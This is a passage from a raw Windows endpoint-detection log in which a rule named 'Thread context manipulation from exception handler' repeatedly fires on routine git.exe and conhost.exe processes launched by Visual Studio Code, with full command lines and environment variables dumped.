Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 217 + Pid: 8160 + Tid: 9028 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.1530998 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 3c16d9000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f59b5a080, name➜ conhost.exe, pid➜ 15120, ppid➜ 8160, real_ppid➜ 8160, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.1530998 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8160 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 219 + Pid: 16000 + Tid: 2164 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.1645064 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 3504f2000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f588d0080, name➜ conhost.exe, pid➜ 6768, ppid➜ 16000, real_ppid➜ 16000, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.1645064 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16000 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 221 + Pid: 8160 + Tid: 9028 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.2094692 +0100 CET + Params: cmdline➜ git.exe config --get commit.template, directory_table_base➜ 3fe586000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5ac2c080, name➜ git.exe, pid➜ 17552, ppid➜ 8160, real_ppid➜ 8160, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.2094692 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8160 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 223 + Pid: 16000 + Tid: 2164 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.2174845 +0100 CET + Params: cmdline➜ git.exe for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 272383000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f584b4080, name➜ git.exe, pid➜ 3160, ppid➜ 16000, real_ppid➜ 16000, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.2174845 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16000 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 231 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.3113807 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" status -z -uall, directory_table_base➜ 407c8e000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b885080, name➜ git.exe, pid➜ 17984, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.3113807 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 233 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.3172636 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 1ac6000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b878080, name➜ git.exe, pid➜ 18380, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.3172636 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY 